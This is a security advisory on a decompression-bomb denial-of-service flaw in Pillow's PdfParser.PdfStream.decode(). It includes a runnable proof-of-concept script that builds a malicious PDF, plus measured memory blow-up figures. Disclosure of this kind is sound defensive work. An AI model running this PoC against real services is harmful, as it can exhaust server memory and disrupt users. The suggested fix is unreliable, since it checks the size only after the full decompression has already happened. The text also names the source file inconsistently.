Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here

PoC

import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

PDF file size	Memory allocated	Ratio	Wall time
10 KB	10 MB	1,026×	0.024 s
95 KB	100 MB	1,028×	0.265 s
475 KB	500 MB	1,028×	1.279 s
950 KB	1,000 MB (1 GB)	1,028×	2.668 s

Impact

This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result